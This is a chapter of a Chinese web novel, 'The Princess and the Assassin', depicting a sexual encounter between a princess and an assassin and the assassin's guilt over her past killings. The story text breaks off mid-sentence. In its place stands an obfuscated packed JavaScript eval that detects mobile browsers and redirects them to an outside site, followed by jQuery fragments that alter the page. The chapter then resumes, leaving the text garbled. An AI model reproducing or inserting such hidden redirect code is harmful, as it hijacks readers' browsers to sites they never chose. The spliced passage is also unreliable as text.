51.关山赴会

作品:《公主与杀手

    浴桶中的热气氤氲,迷蒙了青萝的双眼。


    就连薛令瑜的面容,也看得没那么真切。


    可那双明亮的眼睛在她眼中无限放大,呼吸间是难以抑制的燥热。


    青萝的心里不断告诫自己:不可以,这是不被允许的。


    身为一个杀手,她该完成自己的任务,而不是与单主发生一些不切实际的纠缠。


    当薛令瑜朝她靠近,她没能拒绝时,这种情况便一定会发生。


    青萝抱了一丝侥幸,以为薛令瑜不懂,所以步调会放得很慢。


    等到关山武林大会结束后,薛令瑜会回到那如同牢笼,却又华丽无比的皇城之中。


    而她会回到无相门,将剑封存,重新拿起她的短刀,戴上黑色面巾,行走于黑夜之中,浑身血污。


    结束一个任务后再洗去这难闻的血腥味,当做什么都没发生过。


    这一段时间的温存和美好,就当做是她偷来的。


    她们只是玩了一场短暂的游戏。


    可此时,薛令瑜正一步一步朝她靠近,青萝的腰带就那样被扯开。


    沾湿的黑衣被扔出浴桶外。


    水中波浪层层叠叠,就连花瓣也落了一地。


    薛令瑜再怎么大胆,也不过是个未通俗事的公主。


    尚未出嫁,没有人教过她该如何去做这些事情,一切都凭借着本能在青萝的身上摸索着。


    但当她真的褪掉青萝的衣物后,手抚在青萝紧致的小腹上。


    摸着那与自己肌肤质感完全不同的小腹,脸颊和耳朵早已红透。


    实际上,薛令瑜全身都是红彤彤的,不过因为有水的遮掩,倒显得没那么羞涩。


    薛令瑜抓住青萝的手放在自己的腹部,凑到她耳边低声道:“你这里,和我的完全不一样。”


    薛令瑜说话声音总是清脆明朗,此时不自觉压低嗓音,就像是浸了软蜜一样甜。


    青萝的耳尖都在颤。


    薛令瑜呼吸的热气吐露在她的脸颊处,让她整个人都有些不知所措。


    青萝常年练武,且骨架要比薛令瑜大一些,自然与薛令瑜那柔软的小腹完全不同。


    薛令瑜爱吃,每天练武的时间又没有青萝那么长,自然小腹上有一小团软肉。


    可这一小团软肉并不影响美感,反倒更显得玲珑有致。


    当这团肉抓在青萝手心里的时候,青萝感觉浑身的气血都直往脑门上冲。


    这是从未有过的体验,陌生得令人恐惧,但又让人兴奋。


    薛令瑜那双手从青萝的小腹处,缓缓移动。


    为了行动方便,青萝会在胸前缠一圈白布,这会儿那团白布也被薛令瑜扔到浴桶外。


    浴桶并不大,所以每一个动作都伴随着哗啦啦的水声,让气氛显得更暧昧。


    薛令瑜的唇波光潋滟,泛着轻薄的红晕,就那样慢吞吞地、小心地往青萝的唇边凑去。


    之前基本上也都是薛令瑜主动,无论是抚摸,还是亲吻,青萝被动地接受着。


    诚如薛令瑜所说,青萝像是块木头。


    这块木头现在的身体也是僵硬的,可薛令瑜亲到她的唇上,发现她的唇温凉柔软。


    她的牙齿轻轻咬住青萝的下唇。


    青萝的心跳得太快了,她不知自己的手脚该往哪里放,这个浴桶完全放不下她高大的身躯,靠在木桶上,她肩胛骨以上的位置都露在外边。


    房间里其实是有些冷的,尤其在皮肤沾了水后,风干的那会儿,她有感受到凉意。


    但身前有薛令瑜,不知该放在哪里的手脚,这会儿在薛令瑜的亲吻下,很自然地把她圈在了怀里,任由她在自己的身上作乱。


    看似是无奈的放纵,实则青萝的身体就像是干柴,正在被薛令瑜这把火,肆无忌惮地点燃着。


    但薛令瑜会的也只有这些了。


    薛令瑜亲青萝的唇,咬她的下唇。


    亲她的喉咙、耳朵,伸手环抱住她的身体。


    手在她的身体各处游移。


    当她们的身体紧密贴在一起时,薛令瑜感受到了从未体会过的满足。


    薛令瑜看到了青萝身体的变化。


    那被白布缠过的地方,此时已然有两颗小豆冒出头来。


    不止是青萝的,就连她也没能幸免。


    那样的变化让薛令瑜感到新奇,所以她弯腰,想要去亲吻那样的美丽。


    可是脑袋刚垂下去,乌黑的长发便散在了浴桶之中,沾满了水,让她整个人都看起来十分狼狈。


    薛令瑜只能在青萝的锁骨处轻咬了一小口。


    青萝及时托住她的肩膀,吞咽了下口水,这才沉沉出声:“不要……”


    薛令瑜现在整颗心都像是这浴桶中的水,摇摇晃晃、飘飘荡荡。


    身体如同被风一吹都能褶皱起来的春水。


    柔软得不像话。


    青萝一托,她直接便晃进了青萝的怀里。


    薛令瑜抱怨地嗔怪道:“你是否不愿与我这般?”


    分明只是正常的询问,可青萝硬是从她的语气中听出了委屈。


    倒也是,向来高高在上的公主怎么学过伺候人的事儿呢?


    如今事事都要薛令瑜来,合该委屈。


    但青萝的心仍旧未定,多年来,她总是那个沉默木讷笨拙的执行者。


    她严格践行着无相门的门规,也曾奉命杀过为情叛逃出无相门的杀手。


    他们临死前都在求青萝,“你不要动她/他,杀我一人足矣。”


    可无相门的门规摆在那里,任凭他们怎么求,青萝都要杀两个人。


    青萝也不懂,为何无相门要定下这样的门规。


    可如今才明白,当你心里装了另一个人时,你便不想再去沾那些血腥了。


    甚至,她如今去抱着薛令瑜,去抚摸薛令瑜,脑海中只要想起自己曾杀过那么多人,都觉得自己这双手不配落在这样洁白的身体上。


    青萝觉得自己很卑劣,都没有去告诉薛令瑜自己的身份,便与薛令瑜这般赤|裸相对。


    她从来都没得到过什么独属于自己的东西,可现在,她迫切地想要抓住些什么。


    将她那颗空荡荡的心填满。


    她想,她是自私的。


    因为当下,她只想沉沦。


    沉溺在这些水中,不管不顾地沉溺,哪怕下一刻是死亡,起码她在某一瞬间找到了活着的意义。


    原来人生并非只有无止境地杀人 ,还有更多更美妙的事值得体验。


    她沉声回答薛令瑜:“没有。”


    薛令瑜咬牙道:“那你回应回应我,只有我在唱独角戏,没劲儿。”


    青萝抬眼,身体前倾,微微闭上眼,就连眼睫都在颤,她想,迈出这一步可就再没回头路可走了。


    往前是悬崖,她也义无反顾地往下跳了。


    可前方不是悬崖,是柔软温热的唇,带着吸引人的香气。


    薛令瑜与她热烈地亲吻,抱住她的脖子。


    薛令瑜还占据着主导权。


    可当她的手落在青萝小腹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950287|186776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以下的地方时,她缩起手,趴在青萝肩上,小声地说:“我不知该如何做,你知晓吗?青萝。”


    此时她喊青萝,声音和平日完全不同。


    青萝轻轻地点了下头。


    薛令瑜将自己的手放在她的手心里,“那你教教我好不好?”


    青萝抓住她的手,深呼出一口气,薛令瑜却泄愤似地在她肩上猛地咬了一大口。


    猝不及防的疼痛,让青萝另一只抱着薛令瑜腰的手,也使了些劲儿。


    薛令瑜也感受到疼痛,咬得更加用力。


    青萝已然适应,平静地让她咬着。


    等薛令瑜再抬起头,发现青萝肩膀那一处已经被她咬出了血。


    很淡的血迹,薛令瑜又心疼,俯身轻轻舔舐。


    青萝温声问:“怎么了?”


    薛令瑜闷声道:“我就是想过你还同我之外的人做过这些事,我便生气。我可是第一次喜欢人呢。”


    青萝闻言不由得发笑,还以为她是突然在气什么,原是因为她说的那句话。


    青萝想,她曾见过那么多次人欢好,倒也不是她有这个癖好,只是人在做这事儿时,总是最放松警惕的。


    没吃过猪肉总见过猪跑吧?


    况且铃萝那个不正经的,没事儿就爱往青楼茶馆里钻,回到无相门便将那些册子、本子往她房间里一扔。


    青萝随手翻阅几页便知道是些不正经的玩意儿。


    可她的记性实在太好了,看过的画面一眼也能印在她的脑海里,所以知道这些,也是再正常不过的事儿。


    青萝想着,也没发现自己勾起了唇角,薛令瑜看到她的表情更加气恼,锤她的肩膀:“笑什么?”


    她道:“我没经验很好笑吗?”


    青萝摇头:“不是。”


    薛令瑜气恼地哼了声,侧过头去,一副不愿搭理青萝的模样。


    闹了一阵,水已经冷了。


    青萝长臂一伸抓住旁边的巾子,直接抱着薛令瑜从浴桶中站了起来。


    巾子迅速裹住了薛令瑜的身体,可仍旧有水滴下来。


    青萝将薛令瑜抱到床上,床幔也随之落下,青萝随手一扫,拂灭了烛火。


    黑暗中,月光透过窗棂穿进薄薄的纱帘,落在薛令瑜的脸上。


    青萝仍旧能看到薛令瑜的模样。


    青萝的手颤抖着,一把抽走薛令瑜身上的巾子。


    她想,没有回头路可走了。


    这一场梦,或许只能做几日。


    可有这一场梦,死也甘愿。


    从前青萝在无相门,最不能理解的便是这种人,未料想有一日,她成为了这种人。


    如今她庆幸的是,薛令瑜是身份尊贵的朝华公主,是当今帝王最宠爱的胞妹,即便有一日,这件事暴露,无相门也不敢动手杀薛令瑜。


    那么,只有她一个人便足矣。


    青萝俯身,在薛令瑜的耳边低声道:“小鱼儿。”


    薛令瑜再次从她口中听到这个昵称,刚还憋着气,顿时烟消云散了。


    薛令瑜想,她可真大度。


    主要是对青萝大度!


    若是放在旁人身上,她可没这么好哄,她伸腿缠住青萝的腰,轻哼一声:“原谅你了。但往后,你除了我,可不许再有别人。”


    薛令瑜“恶狠狠”地在青萝耳边威胁,“若是被我发现,我便让人把你关起来,狠狠折磨!”


    青萝轻笑,“没有别人。”


    她说:“我只是从话本中学的,还从未实践过。”